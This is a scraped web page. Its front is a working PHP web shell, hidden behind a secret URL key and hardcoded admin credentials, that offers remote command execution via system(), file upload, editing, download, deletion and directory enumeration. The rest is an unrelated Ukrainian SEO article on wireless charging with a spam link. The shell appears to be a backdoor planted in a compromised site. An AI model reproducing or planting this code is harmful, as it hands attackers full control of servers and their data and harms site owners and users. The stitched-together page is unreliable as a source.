if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Основи безпровідної зарядки та її унікальні особливості – collectives.berlin

Your digital paradise.

Основи безпровідної зарядки та її унікальні особливості

Для оптимального використання актуальних бездротових технологій зарядки важливо враховувати кілька ключових параметрів. Перш за все, звертайте увагу на стандарт сумісності, як-от Qi, що забезпечує широку підтримку безліччю пристроїв. Це дозволяє заряджати смартфони, goodtech.com.ua навушники та інші гаджети без використання кабелів.

Далі, розгляньте ефективність передачі енергії. Зазвичай сучасні зарядні станції пропонують ефективність до 80-90%, що значно вище в порівнянні з деякими старшими моделями. Чим більша позиція продуктивності, тим швидше буде заряджатися ваш пристрій.

Окрім цього, встановлення зарядного пристрою має значення. Забезпечте оптимальну площу поверхні, щоб уникнути перегріву під час використання. Додаткові функції, такі як захист від перенапруги та короткого замикання, також підвищують безпеку і довговічність вашого обладнання.

На завершення, зважайте на дизайни та розміри зарядних пристроїв. Сучасні моделі часто мають компактні та ергономічні форми, що дозволяє зручно інтегрувати їх у будь-який інтер’єр. Ці рекомендації допоможуть вам зробити правильний вибір у світі бездротової енергії.

Технології безпровідної зарядки: принципи роботи та стандарти

Системи, що реалізують зарядку без проводів, базуються на принципі електромагнітної індукції. Це означає, що електричний струм, що проходить через котушку передавача, створює магнітне поле, яке згодом використовується для живлення котушки приймачем.

Серед відомих стандартів варто зазначити Qi. Ця технологія забезпечує універсальність для різних пристроїв. Вона дозволяє заряджати смартфони, планшети та інші аксесуари, які підтримують цей стандарт. Завдяки інтеграції в багато нових девайсів, Qi став популярним вибором серед споживачів.

Можливо, вас зацікавить, що зарядка на основі індукції має деякі обмеження, зокрема в плані відстані. Ефективність системи знижується, якщо пристрій відступає від центру котушки, тому важливо правильно розміщувати пристрої під час підзарядки.

Сучасні технології використовують також резонансну індукцію, яка збільшує відстань зарядки. Цей метод дозволяє заряджати кілька пристроїв одночасно на певному відстані від бази. Резонансна індукція може відкрити нові можливості для аксесуарів і побутової електроніки.

Напрямок розвитку безпровідних систем спостерігається у збільшенні швидкостей зарядки. Нові технології, такі як AirFuel, розробляють способи пришвидшення процесу. Завдяки яскравій конкуренції між виробниками, з’являються рішення з підтримкою високих потужностей.

Перед вибором системи важливо також врахувати кількість підтримуваних пристроїв та їхню сумісність. Перевіряйте специфікації і обирайте адаптери, які підтримують ваші девайси для максимальної вигоди від використання системи безпровідної підзарядки.

Порівняння бездротового методу з провідними: переваги та недоліки

Бездротова технологія демонструє чимало переваг. По-перше, зручність використання. Підключення до розетки не потрібне, при цьому достатньо просто покласти пристрій на підставку. Це спрощує процес заряджання, особливо для користувачів мобільних гаджетів.

Естетика також відіграє важливу роль. З відсутністю кабелів можна досягти більш охайного вигляду простору. Різноманітні дизайн-рішення дозволяють інтегрувати бездротові системи в інтер’єр, не псуючи загального вигляду.

  • Безпека: Мінімізація ризику короткого замикання, адже немає відкритих дротів.
  • Сумісність: Нова технологія підтримує численні пристрої різних марок.

Недоліком є тривалість процесу. Бездротова зарядка зазвичай займає більше часу, ніж провідна, що може бути важливим для тих, хто часто користується пристроями.

Ефективність роботи також може знижуватися через матеріал або товщину чохлів. Якщо використовувати дуже щільні або металеві чохли, процес може сповільнюватися, що не завжди зручно.

  1. Значна автономність та можливість безперервного використання.
  2. Менше зношення контактів через відсутність регулярних підключень.

Необхідно зважати на потреби користувачів. Якщо швидкість і продуктивність є критичними аспектами, провідна система може бути більш доцільною, проте за рахунок зручності бездротові варіанти виграють у повсякденному використанні.

Leave a Reply

Your email address will not be published. Required fields are marked *